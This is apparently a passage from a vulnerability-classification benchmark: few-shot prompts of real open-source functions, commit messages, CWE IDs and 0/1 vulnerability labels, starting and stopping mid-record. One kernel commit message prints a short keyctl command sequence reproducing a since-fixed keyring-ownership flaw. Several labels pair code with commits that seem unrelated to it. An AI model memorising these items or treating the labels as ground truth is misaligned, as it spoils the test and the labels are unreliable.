<< putHR(hr);
return hr;
}
hr = policy->StorePrivateData(kLsaKeyGaiaUsername, gaia_username);
if (FAILED(hr)) {
LOGFN(ERROR) << "Failed to store gaia user name in LSA hr=" << putHR(hr);
return hr;
}
}
if (!sid) {
LOGFN(ERROR) << "No valid username could be found for the gaia user.";
return HRESULT_FROM_WIN32(NERR_UserExists);
}
hr = policy->AddAccountRights(sid, SE_BATCH_LOGON_NAME);
::LocalFree(sid);
if (FAILED(hr)) {
LOGFN(ERROR) << "policy.AddAccountRights hr=" << putHR(hr);
return hr;
}
return S_OK;
}
Commit Message: [GCPW] Disallow sign in of consumer accounts when mdm is enabled.
Unless the registry key "mdm_aca" is explicitly set to 1, always
fail sign in of consumer accounts when mdm enrollment is enabled.
Consumer accounts are defined as accounts with gmail.com or
googlemail.com domain.
Bug: 944049
Change-Id: Icb822f3737d90931de16a8d3317616dd2b159edd
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1532903
Commit-Queue: Tien Mai <[email protected]>
Reviewed-by: Roger Tawa <[email protected]>
Cr-Commit-Position: refs/heads/master@{#646278}
CWE ID: CWE-284
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: GF_Err paen_AddBox(GF_Box *s, GF_Box *a)
{
FDPartitionEntryBox *ptr = (FDPartitionEntryBox *)s;
switch(a->type) {
case GF_ISOM_BOX_TYPE_FPAR:
if (ptr->blocks_and_symbols) ERROR_ON_DUPLICATED_BOX(a, ptr)
ptr->blocks_and_symbols = (FilePartitionBox *)a;
return GF_OK;
case GF_ISOM_BOX_TYPE_FECR:
if (ptr->FEC_symbol_locations) ERROR_ON_DUPLICATED_BOX(a, ptr)
ptr->FEC_symbol_locations = (FECReservoirBox *)a;
return GF_OK;
case GF_ISOM_BOX_TYPE_FIRE:
if (ptr->File_symbol_locations) ERROR_ON_DUPLICATED_BOX(a, ptr)
ptr->File_symbol_locations = (FileReservoirBox *)a;
return GF_OK;
default:
return gf_isom_box_add_default(s, a);
}
return GF_OK;
}
Commit Message: fixed 2 possible heap overflows (inc. #1088)
CWE ID: CWE-125
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: my_object_get_property (GObject *object,
guint prop_id,
GValue *value,
GParamSpec *pspec)
{
MyObject *mobject;
mobject = MY_OBJECT (object);
switch (prop_id)
{
case PROP_THIS_IS_A_STRING:
g_value_set_string (value, mobject->this_is_a_string);
break;
default:
G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
break;
}
}
Commit Message:
CWE ID: CWE-264
Target: 1
Example 2:
Code: void xaddCommand(client *c) {
streamID id;
int id_given = 0; /* Was an ID different than "*" specified? */
long long maxlen = 0; /* 0 means no maximum length. */
int approx_maxlen = 0; /* If 1 only delete whole radix tree nodes, so
the maxium length is not applied verbatim. */
int maxlen_arg_idx = 0; /* Index of the count in MAXLEN, for rewriting. */
/* Parse options. */
int i = 2; /* This is the first argument position where we could
find an option, or the ID. */
for (; i < c->argc; i++) {
int moreargs = (c->argc-1) - i; /* Number of additional arguments. */
char *opt = c->argv[i]->ptr;
if (opt[0] == '*' && opt[1] == '\0') {
/* This is just a fast path for the common case of auto-ID
* creation. */
break;
} else if (!strcasecmp(opt,"maxlen") && moreargs) {
char *next = c->argv[i+1]->ptr;
/* Check for the form MAXLEN ~ <count>. */
if (moreargs >= 2 && next[0] == '~' && next[1] == '\0') {
approx_maxlen = 1;
i++;
}
if (getLongLongFromObjectOrReply(c,c->argv[i+1],&maxlen,NULL)
!= C_OK) return;
i++;
maxlen_arg_idx = i;
} else {
/* If we are here is a syntax error or a valid ID. */
if (streamParseIDOrReply(c,c->argv[i],&id,0) != C_OK) return;
id_given = 1;
break;
}
}
int field_pos = i+1;
/* Check arity. */
if ((c->argc - field_pos) < 2 || ((c->argc-field_pos) % 2) == 1) {
addReplyError(c,"wrong number of arguments for XADD");
return;
}
/* Lookup the stream at key. */
robj *o;
stream *s;
if ((o = streamTypeLookupWriteOrCreate(c,c->argv[1])) == NULL) return;
s = o->ptr;
/* Append using the low level function and return the ID. */
if (streamAppendItem(s,c->argv+field_pos,(c->argc-field_pos)/2,
&id, id_given ? &id : NULL)
== C_ERR)
{
addReplyError(c,"The ID specified in XADD is equal or smaller than the "
"target stream top item");
return;
}
addReplyStreamID(c,&id);
signalModifiedKey(c->db,c->argv[1]);
notifyKeyspaceEvent(NOTIFY_STREAM,"xadd",c->argv[1],c->db->id);
server.dirty++;
/* Remove older elements if MAXLEN was specified. */
if (maxlen) {
if (!streamTrimByLength(s,maxlen,approx_maxlen)) {
/* If no trimming was performed, for instance because approximated
* trimming length was specified, rewrite the MAXLEN argument
* as zero, so that the command is propagated without trimming. */
robj *zeroobj = createStringObjectFromLongLong(0);
rewriteClientCommandArgument(c,maxlen_arg_idx,zeroobj);
decrRefCount(zeroobj);
} else {
notifyKeyspaceEvent(NOTIFY_STREAM,"xtrim",c->argv[1],c->db->id);
}
}
/* Let's rewrite the ID argument with the one actually generated for
* AOF/replication propagation. */
robj *idarg = createObjectFromStreamID(&id);
rewriteClientCommandArgument(c,i,idarg);
decrRefCount(idarg);
/* We need to signal to blocked clients that there is new data on this
* stream. */
if (server.blocked_clients_by_type[BLOCKED_STREAM])
signalKeyAsReady(c->db, c->argv[1]);
}
Commit Message: Abort in XGROUP if the key is not a stream
CWE ID: CWE-704
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void ThreadHeapStats::Reset() {
object_size_at_last_gc_ = allocated_object_size_ + marked_object_size_;
partition_alloc_size_at_last_gc_ =
WTF::Partitions::TotalSizeOfCommittedPages();
allocated_object_size_ = 0;
marked_object_size_ = 0;
wrapper_count_at_last_gc_ = wrapper_count_;
collected_wrapper_count_ = 0;
}
Commit Message: [oilpan] Fix GCInfoTable for multiple threads
Previously, grow and access from different threads could lead to a race
on the table backing; see bug.
- Rework the table to work on an existing reservation.
- Commit upon growing, avoiding any copies.
Drive-by: Fix over-allocation of table.
Bug: chromium:841280
Change-Id: I329cb6f40091e14e8c05334ba1104a9440c31d43
Reviewed-on: https://chromium-review.googlesource.com/1061525
Commit-Queue: Michael Lippautz <[email protected]>
Reviewed-by: Kentaro Hara <[email protected]>
Cr-Commit-Position: refs/heads/master@{#560434}
CWE ID: CWE-362
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static int wddx_stack_destroy(wddx_stack *stack)
{
register int i;
if (stack->elements) {
for (i = 0; i < stack->top; i++) {
if (((st_entry *)stack->elements[i])->data) {
zval_ptr_dtor(&((st_entry *)stack->elements[i])->data);
}
if (((st_entry *)stack->elements[i])->varname) {
efree(((st_entry *)stack->elements[i])->varname);
}
efree(stack->elements[i]);
}
efree(stack->elements);
}
return SUCCESS;
}
Commit Message: Fix bug #72860: wddx_deserialize use-after-free
CWE ID: CWE-416
Target: 1
Example 2:
Code: static Image *ReadJNGImage(const ImageInfo *image_info,
ExceptionInfo *exception)
{
Image
*image;
MagickBooleanType
logging,
status;
MngInfo
*mng_info;
char
magic_number[MagickPathExtent];
size_t
count;
/*
Open image file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickCoreSignature);
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",
image_info->filename);
assert(exception != (ExceptionInfo *) NULL);
assert(exception->signature == MagickCoreSignature);
logging=LogMagickEvent(CoderEvent,GetMagickModule(),"Enter ReadJNGImage()");
image=AcquireImage(image_info,exception);
mng_info=(MngInfo *) NULL;
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
return(DestroyImageList(image));
if (LocaleCompare(image_info->magick,"JNG") != 0)
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
/* Verify JNG signature. */
count=(size_t) ReadBlob(image,8,(unsigned char *) magic_number);
if ((count < 8) || (memcmp(magic_number,"\213JNG\r\n\032\n",8) != 0))
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
/*
Verify that file size large enough to contain a JNG datastream.
*/
if (GetBlobSize(image) < 147)
ThrowReaderException(CorruptImageError,"InsufficientImageDataInFile");
/* Allocate a MngInfo structure. */
mng_info=(MngInfo *) AcquireMagickMemory(sizeof(*mng_info));
if (mng_info == (MngInfo *) NULL)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
/* Initialize members of the MngInfo structure. */
(void) memset(mng_info,0,sizeof(MngInfo));
mng_info->image=image;
image=ReadOneJNGImage(mng_info,image_info,exception);
mng_info=MngInfoFreeStruct(mng_info);
if (image == (Image *) NULL)
{
if (logging != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"exit ReadJNGImage() with error");
return((Image *) NULL);
}
(void) CloseBlob(image);
if (image->columns == 0 || image->rows == 0)
{
if (logging != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"exit ReadJNGImage() with error");
ThrowReaderException(CorruptImageError,"CorruptImage");
}
if (logging != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),"exit ReadJNGImage()");
return(image);
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/1201
CWE ID: CWE-772
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void ACodec::UninitializedState::onSetup(
const sp<AMessage> &msg) {
if (onAllocateComponent(msg)
&& mCodec->mLoadedState->onConfigureComponent(msg)) {
mCodec->mLoadedState->onStart();
}
}
Commit Message: Fix initialization of AAC presentation struct
Otherwise the new size checks trip on this.
Bug: 27207275
Change-Id: I1f8f01097e3a88ff041b69279a6121be842f1766
CWE ID: CWE-119
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static int muscle_list_files(sc_card_t *card, u8 *buf, size_t bufLen)
{
muscle_private_t* priv = MUSCLE_DATA(card);
mscfs_t *fs = priv->fs;
int x;
int count = 0;
mscfs_check_cache(priv->fs);
for(x = 0; x < fs->cache.size; x++) {
u8* oid= fs->cache.array[x].objectId.id;
sc_debug(card->ctx, SC_LOG_DEBUG_NORMAL,
"FILE: %02X%02X%02X%02X\n",
oid[0],oid[1],oid[2],oid[3]);
if(0 == memcmp(fs->currentPath, oid, 2)) {
buf[0] = oid[2];
buf[1] = oid[3];
if(buf[0] == 0x00 && buf[1] == 0x00) continue; /* No directories/null names outside of root */
buf += 2;
count+=2;
}
}
return count;
}
Commit Message: fixed out of bounds writes
Thanks to Eric Sesterhenn from X41 D-SEC GmbH
for reporting the problems.
CWE ID: CWE-415
Target: 1
Example 2:
Code: void OxideQQuickWebView::prepareToClose() {
Q_D(OxideQQuickWebView);
if (!d->proxy_) {
QCoreApplication::postEvent(this,
new QEvent(GetPrepareToCloseBypassEventType()));
return;
}
d->proxy_->prepareToClose();
}
Commit Message:
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void ossl_statem_set_sctp_read_sock(SSL *s, int read_sock)
{
s->statem.in_sctp_read_sock = read_sock;
}
Commit Message:
CWE ID: CWE-400
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static __u8 *ch_report_fixup(struct hid_device *hdev, __u8 *rdesc,
unsigned int *rsize)
{
if (*rsize >= 17 && rdesc[11] == 0x3c && rdesc[12] == 0x02) {
hid_info(hdev, "fixing up Cherry Cymotion report descriptor\n");
rdesc[11] = rdesc[16] = 0xff;
rdesc[12] = rdesc[17] = 0x03;
}
return rdesc;
}
Commit Message: HID: fix a couple of off-by-ones
There are a few very theoretical off-by-one bugs in report descriptor size
checking when performing a pre-parsing fixup. Fix those.
Cc: [email protected]
Reported-by: Ben Hawkes <[email protected]>
Reviewed-by: Benjamin Tissoires <[email protected]>
Signed-off-by: Jiri Kosina <[email protected]>
CWE ID: CWE-119
Target: 1
Example 2:
Code: AtomicString Resource::HttpContentType() const {
return GetResponse().HttpContentType();
}
Commit Message: Check CORS using PassesAccessControlCheck() with supplied SecurityOrigin
Partial revert of https://chromium-review.googlesource.com/535694.
Bug: 799477
Change-Id: I878bb9bcb83afaafe8601293db9aa644fc5929b3
Reviewed-on: https://chromium-review.googlesource.com/898427
Commit-Queue: Hiroshige Hayashizaki <[email protected]>
Reviewed-by: Kouhei Ueno <[email protected]>
Reviewed-by: Yutaka Hirano <[email protected]>
Reviewed-by: Takeshi Yoshino <[email protected]>
Cr-Commit-Position: refs/heads/master@{#535176}
CWE ID: CWE-200
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: struct key *find_keyring_by_name(const char *name, bool skip_perm_check)
{
struct key *keyring;
int bucket;
if (!name)
return ERR_PTR(-EINVAL);
bucket = keyring_hash(name);
read_lock(&keyring_name_lock);
if (keyring_name_hash[bucket].next) {
/* search this hash bucket for a keyring with a matching name
* that's readable and that hasn't been revoked */
list_for_each_entry(keyring,
&keyring_name_hash[bucket],
name_link
) {
if (!kuid_has_mapping(current_user_ns(), keyring->user->uid))
continue;
if (test_bit(KEY_FLAG_REVOKED, &keyring->flags))
continue;
if (strcmp(keyring->description, name) != 0)
continue;
if (!skip_perm_check &&
key_permission(make_key_ref(keyring, 0),
KEY_NEED_SEARCH) < 0)
continue;
/* we've got a match but we might end up racing with
* key_cleanup() if the keyring is currently 'dead'
* (ie. it has a zero usage count) */
if (!refcount_inc_not_zero(&keyring->usage))
continue;
keyring->last_used_at = current_kernel_time().tv_sec;
goto out;
}
}
keyring = ERR_PTR(-ENOKEY);
out:
read_unlock(&keyring_name_lock);
return keyring;
}
Commit Message: KEYS: prevent creating a different user's keyrings
It was possible for an unprivileged user to create the user and user
session keyrings for another user. For example:
sudo -u '#3000' sh -c 'keyctl add keyring _uid.4000 "" @u
keyctl add keyring _uid_ses.4000 "" @u
sleep 15' &
sleep 1
sudo -u '#4000' keyctl describe @u
sudo -u '#4000' keyctl describe @us
This is problematic because these "fake" keyrings won't have the right
permissions. In particular, the user who created them first will own
them and will have full access to them via the possessor permissions,
which can be used to compromise the security of a user's keys:
-4: alswrv-----v------------ 3000 0 keyring: _uid.4000
-5: alswrv-----v------------ 3000 0 keyring: _uid_ses.4000
Fix it by marking user and user session keyrings with a flag
KEY_FLAG_UID_KEYRING. Then, when searching for a user or user session
keyring by name, skip all keyrings that don't have the flag set.
Fixes: 69664cf16af4 ("keys: don't generate user and user session keyrings unless they're accessed")
Cc: <[email protected]> [v2.6.26+]
Signed-off-by: Eric Biggers <[email protected]>
Signed-off-by: David Howells <[email protected]>
CWE ID:
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: doshn(struct magic_set *ms, int clazz, int swap, int fd, off_t off, int num,
size_t size, off_t fsize, int *flags, int mach, int strtab)
{
Elf32_Shdr sh32;
Elf64_Shdr sh64;
int stripped = 1;
size_t nbadcap = 0;
void *nbuf;
off_t noff, coff, name_off;
uint64_t cap_hw1 = 0; /* SunOS 5.x hardware capabilites */
uint64_t cap_sf1 = 0; /* SunOS 5.x software capabilites */
char name[50];
if (size != xsh_sizeof) {
if (file_printf(ms, ", corrupted section header size") == -1)
return -1;
return 0;
}
/* Read offset of name section to be able to read section names later */
if (pread(fd, xsh_addr, xsh_sizeof, off + size * strtab) == -1) {
file_badread(ms);
return -1;
}
name_off = xsh_offset;
for ( ; num; num--) {
/* Read the name of this section. */
if (pread(fd, name, sizeof(name), name_off + xsh_name) == -1) {
file_badread(ms);
return -1;
}
name[sizeof(name) - 1] = '\0';
if (strcmp(name, ".debug_info") == 0)
stripped = 0;
if (pread(fd, xsh_addr, xsh_sizeof, off) == -1) {
file_badread(ms);
return -1;
}
off += size;
/* Things we can determine before we seek */
switch (xsh_type) {
case SHT_SYMTAB:
#if 0
case SHT_DYNSYM:
#endif
stripped = 0;
break;
default:
if (fsize != SIZE_UNKNOWN && xsh_offset > fsize) {
/* Perhaps warn here */
continue;
}
break;
}
/* Things we can determine when we seek */
switch (xsh_type) {
case SHT_NOTE:
if ((nbuf = malloc(xsh_size)) == NULL) {
file_error(ms, errno, "Cannot allocate memory"
" for note");
return -1;
}
if (pread(fd, nbuf, xsh_size, xsh_offset) == -1) {
file_badread(ms);
free(nbuf);
return -1;
}
noff = 0;
for (;;) {
if (noff >= (off_t)xsh_size)
break;
noff = donote(ms, nbuf, (size_t)noff,
xsh_size, clazz, swap, 4, flags);
if (noff == 0)
break;
}
free(nbuf);
break;
case SHT_SUNW_cap:
switch (mach) {
case EM_SPARC:
case EM_SPARCV9:
case EM_IA_64:
case EM_386:
case EM_AMD64:
break;
default:
goto skip;
}
if (nbadcap > 5)
break;
if (lseek(fd, xsh_offset, SEEK_SET) == (off_t)-1) {
file_badseek(ms);
return -1;
}
coff = 0;
for (;;) {
Elf32_Cap cap32;
Elf64_Cap cap64;
char cbuf[/*CONSTCOND*/
MAX(sizeof cap32, sizeof cap64)];
if ((coff += xcap_sizeof) > (off_t)xsh_size)
break;
if (read(fd, cbuf, (size_t)xcap_sizeof) !=
(ssize_t)xcap_sizeof) {
file_badread(ms);
return -1;
}
if (cbuf[0] == 'A') {
#ifdef notyet
char *p = cbuf + 1;
uint32_t len, tag;
memcpy(&len, p, sizeof(len));
p += 4;
len = getu32(swap, len);
if (memcmp("gnu", p, 3) != 0) {
if (file_printf(ms,
", unknown capability %.3s", p)
== -1)
return -1;
break;
}
p += strlen(p) + 1;
tag = *p++;
memcpy(&len, p, sizeof(len));
p += 4;
len = getu32(swap, len);
if (tag != 1) {
if (file_printf(ms, ", unknown gnu"
" capability tag %d", tag)
== -1)
return -1;
break;
}
#endif
break;
}
(void)memcpy(xcap_addr, cbuf, xcap_sizeof);
switch (xcap_tag) {
case CA_SUNW_NULL:
break;
case CA_SUNW_HW_1:
cap_hw1 |= xcap_val;
break;
case CA_SUNW_SF_1:
cap_sf1 |= xcap_val;
break;
default:
if (file_printf(ms,
", with unknown capability "
"0x%" INT64_T_FORMAT "x = 0x%"
INT64_T_FORMAT "x",
(unsigned long long)xcap_tag,
(unsigned long long)xcap_val) == -1)
return -1;
if (nbadcap++ > 2)
coff = xsh_size;
break;
}
}
/*FALLTHROUGH*/
skip:
default:
break;
}
}
if (file_printf(ms, ", %sstripped", stripped ? "" : "not ") == -1)
return -1;
if (cap_hw1) {
const cap_desc_t *cdp;
switch (mach) {
case EM_SPARC:
case EM_SPARC32PLUS:
case EM_SPARCV9:
cdp = cap_desc_sparc;
break;
case EM_386:
case EM_IA_64:
case EM_AMD64:
cdp = cap_desc_386;
break;
default:
cdp = NULL;
break;
}
if (file_printf(ms, ", uses") == -1)
return -1;
if (cdp) {
while (cdp->cd_name) {
if (cap_hw1 & cdp->cd_mask) {
if (file_printf(ms,
" %s", cdp->cd_name) == -1)
return -1;
cap_hw1 &= ~cdp->cd_mask;
}
++cdp;
}
if (cap_hw1)
if (file_printf(ms,
" unknown hardware capability 0x%"
INT64_T_FORMAT "x",
(unsigned long long)cap_hw1) == -1)
return -1;
} else {
if (file_printf(ms,
" hardware capability 0x%" INT64_T_FORMAT "x",
(unsigned long long)cap_hw1) == -1)
return -1;
}
}
if (cap_sf1) {
if (cap_sf1 & SF1_SUNW_FPUSED) {
if (file_printf(ms,
(cap_sf1 & SF1_SUNW_FPKNWN)
? ", uses frame pointer"
: ", not known to use frame pointer") == -1)
return -1;
}
cap_sf1 &= ~SF1_SUNW_MASK;
if (cap_sf1)
if (file_printf(ms,
", with unknown software capability 0x%"
INT64_T_FORMAT "x",
(unsigned long long)cap_sf1) == -1)
return -1;
}
return 0;
}
Commit Message: Bail out on partial reads, from Alexander Cherepanov
CWE ID: CWE-20
Target: 1
Example 2:
Code: bool RenderFrameHostManager::InitRenderView(
RenderViewHostImpl* render_view_host,
RenderFrameProxyHost* proxy) {
if (!render_view_host->GetProcess()->Init())
return false;
if (render_view_host->IsRenderViewLive())
return true;
int opener_frame_routing_id =
GetOpenerRoutingID(render_view_host->GetSiteInstance());
bool created = delegate_->CreateRenderViewForRenderManager(
render_view_host, opener_frame_routing_id,
proxy ? proxy->GetRoutingID() : MSG_ROUTING_NONE,
frame_tree_node_->current_replication_state());
if (created && proxy)
proxy->set_render_frame_proxy_created(true);
return created;
}
Commit Message: Don't show current RenderWidgetHostView while interstitial is showing.
Also moves interstitial page tracking from RenderFrameHostManager to
WebContents, since interstitial pages are not frame-specific. This was
necessary for subframes to detect if an interstitial page is showing.
BUG=729105
TEST=See comment 13 of bug for repro steps
CQ_INCLUDE_TRYBOTS=master.tryserver.chromium.linux:linux_site_isolation
Review-Url: https://codereview.chromium.org/2938313002
Cr-Commit-Position: refs/heads/master@{#480117}
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static int ext4_split_extent(handle_t *handle,
struct inode *inode,
struct ext4_ext_path **ppath,
struct ext4_map_blocks *map,
int split_flag,
int flags)
{
struct ext4_ext_path *path = *ppath;
ext4_lblk_t ee_block;
struct ext4_extent *ex;
unsigned int ee_len, depth;
int err = 0;
int unwritten;
int split_flag1, flags1;
int allocated = map->m_len;
depth = ext_depth(inode);
ex = path[depth].p_ext;
ee_block = le32_to_cpu(ex->ee_block);
ee_len = ext4_ext_get_actual_len(ex);
unwritten = ext4_ext_is_unwritten(ex);
if (map->m_lblk + map->m_len < ee_block + ee_len) {
split_flag1 = split_flag & EXT4_EXT_MAY_ZEROOUT;
flags1 = flags | EXT4_GET_BLOCKS_PRE_IO;
if (unwritten)
split_flag1 |= EXT4_EXT_MARK_UNWRIT1 |
EXT4_EXT_MARK_UNWRIT2;
if (split_flag & EXT4_EXT_DATA_VALID2)
split_flag1 |= EXT4_EXT_DATA_VALID1;
err = ext4_split_extent_at(handle, inode, ppath,
map->m_lblk + map->m_len, split_flag1, flags1);
if (err)
goto out;
} else {
allocated = ee_len - (map->m_lblk - ee_block);
}
/*
* Update path is required because previous ext4_split_extent_at() may
* result in split of original leaf or extent zeroout.
*/
path = ext4_find_extent(inode, map->m_lblk, ppath, 0);
if (IS_ERR(path))
return PTR_ERR(path);
depth = ext_depth(inode);
ex = path[depth].p_ext;
if (!ex) {
EXT4_ERROR_INODE(inode, "unexpected hole at %lu",
(unsigned long) map->m_lblk);
return -EFSCORRUPTED;
}
unwritten = ext4_ext_is_unwritten(ex);
split_flag1 = 0;
if (map->m_lblk >= ee_block) {
split_flag1 = split_flag & EXT4_EXT_DATA_VALID2;
if (unwritten) {
split_flag1 |= EXT4_EXT_MARK_UNWRIT1;
split_flag1 |= split_flag & (EXT4_EXT_MAY_ZEROOUT |
EXT4_EXT_MARK_UNWRIT2);
}
err = ext4_split_extent_at(handle, inode, ppath,
map->m_lblk, split_flag1, flags);
if (err)
goto out;
}
ext4_ext_show_leaf(inode, path);
out:
return err ? err : allocated;
}
Commit Message: ext4: fix races between page faults and hole punching
Currently, page faults and hole punching are completely unsynchronized.
This can result in page fault faulting in a page into a range that we
are punching after truncate_pagecache_range() has been called and thus
we can end up with a page mapped to disk blocks that will be shortly
freed. Filesystem corruption will shortly follow. Note that the same
race is avoided for truncate by checking page fault offset against
i_size but there isn't similar mechanism available for punching holes.
Fix the problem by creating new rw semaphore i_mmap_sem in inode and
grab it for writing over truncate, hole punching, and other functions
removing blocks from extent tree and for read over page faults. We
cannot easily use i_data_sem for this since that ranks below transaction
start and we need something ranking above it so that it can be held over
the whole truncate / hole punching operation. Also remove various
workarounds we had in the code to reduce race window when page fault
could have created pages with stale mapping information.
Signed-off-by: Jan Kara <[email protected]>
Signed-off-by: Theodore Ts'o <[email protected]>
CWE ID: CWE-362
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void Reset() {
events_.clear();
tap_ = false;
tap_down_ = false;
tap_cancel_ = false;
begin_ = false;
end_ = false;
scroll_begin_ = false;
scroll_update_ = false;
scroll_end_ = false;
pinch_begin_ = false;
pinch_update_ = false;
pinch_end_ = false;
long_press_ = false;
fling_ = false;
two_finger_tap_ = false;
show_press_ = false;
swipe_left_ = false;
swipe_right_ = false;
swipe_up_ = false;
swipe_down_ = false;
scroll_begin_position_.SetPoint(0, 0);
tap_location_.SetPoint(0, 0);
gesture_end_location_.SetPoint(0, 0);
scroll_x_ = 0;
scroll_y_ = 0;
scroll_velocity_x_ = 0;
scroll_velocity_y_ = 0;
velocity_x_ = 0;
velocity_y_ = 0;
scroll_x_hint_ = 0;
scroll_y_hint_ = 0;
tap_count_ = 0;
scale_ = 0;
flags_ = 0;
}
Commit Message: Pass ui::LatencyInfo correct with unified gesture detector on Aura.
BUG=379812
TEST=GestureRecognizerTest.LatencyPassedFromTouchEvent
Review URL: https://codereview.chromium.org/309823002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@274602 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
Target: 1
Example 2:
Code: HeadlessPrintManager::HeadlessPrintManager(content::WebContents* web_contents)
: PrintManager(web_contents) {
Reset();
}
Commit Message: DevTools: allow styling the page number element when printing over the protocol.
Bug: none
Change-Id: I13e6afbd86a7c6bcdedbf0645183194b9de7cfb4
Reviewed-on: https://chromium-review.googlesource.com/809759
Commit-Queue: Pavel Feldman <[email protected]>
Reviewed-by: Lei Zhang <[email protected]>
Reviewed-by: Tom Sepez <[email protected]>
Reviewed-by: Jianzhou Feng <[email protected]>
Cr-Commit-Position: refs/heads/master@{#523966}
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: getWflagChars(int x)
{
int c = 0;
x -= 1;
while (x > 0) {
c += 1;
x /= 10;
}
return c;
}
Commit Message: (for 4.9.3) CVE-2018-14879/fix -V to fail invalid input safely
get_next_file() did not check the return value of strlen() and
underflowed an array index if the line read by fgets() from the file
started with \0. This caused an out-of-bounds read and could cause a
write. Add the missing check.
This vulnerability was discovered by Brian Carpenter & Geeknik Labs.
CWE ID: CWE-120
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,
struct msghdr *msg, size_t len)
{
struct sock_iocb *siocb = kiocb_to_siocb(kiocb);
struct sock *sk = sock->sk;
struct netlink_sock *nlk = nlk_sk(sk);
struct sockaddr_nl *addr = msg->msg_name;
u32 dst_pid;
u32 dst_group;
struct sk_buff *skb;
int err;
struct scm_cookie scm;
if (msg->msg_flags&MSG_OOB)
return -EOPNOTSUPP;
if (NULL == siocb->scm)
siocb->scm = &scm;
err = scm_send(sock, msg, siocb->scm, true);
if (err < 0)
return err;
if (msg->msg_namelen) {
err = -EINVAL;
if (addr->nl_family != AF_NETLINK)
goto out;
dst_pid = addr->nl_pid;
dst_group = ffs(addr->nl_groups);
err = -EPERM;
if (dst_group && !netlink_capable(sock, NL_NONROOT_SEND))
goto out;
} else {
dst_pid = nlk->dst_pid;
dst_group = nlk->dst_group;
}
if (!nlk->pid) {
err = netlink_autobind(sock);
if (err)
goto out;
}
err = -EMSGSIZE;
if (len > sk->sk_sndbuf - 32)
goto out;
err = -ENOBUFS;
skb = alloc_skb(len, GFP_KERNEL);
if (skb == NULL)
goto out;
NETLINK_CB(skb).pid = nlk->pid;
NETLINK_CB(skb).dst_group = dst_group;
memcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));
err = -EFAULT;
if (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {
kfree_skb(skb);
goto out;
}
err = security_netlink_send(sk, skb);
if (err) {
kfree_skb(skb);
goto out;
}
if (dst_group) {
atomic_inc(&skb->users);
netlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);
}
err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
out:
scm_destroy(siocb->scm);
return err;
}
Commit Message: netlink: fix possible spoofing from non-root processes
Non-root user-space processes can send Netlink messages to other
processes that are well-known for being subscribed to Netlink
asynchronous notifications. This allows ilegitimate non-root
process to send forged messages to Netlink subscribers.
The userspace process usually verifies the legitimate origin in
two ways:
a) Socket credentials. If UID != 0, then the message comes from
some ilegitimate process and the message needs to be dropped.
b) Netlink portID. In general, portID == 0 means that the origin
of the messages comes from the kernel. Thus, discarding any
message not coming from the kernel.
However, ctnetlink sets the portID in event messages that has
been triggered by some user-space process, eg. conntrack utility.
So other processes subscribed to ctnetlink events, eg. conntrackd,
know that the event was triggered by some user-space action.
Neither of the two ways to discard ilegitimate messages coming
from non-root processes can help for ctnetlink.
This patch adds capability validation in case that dst_pid is set
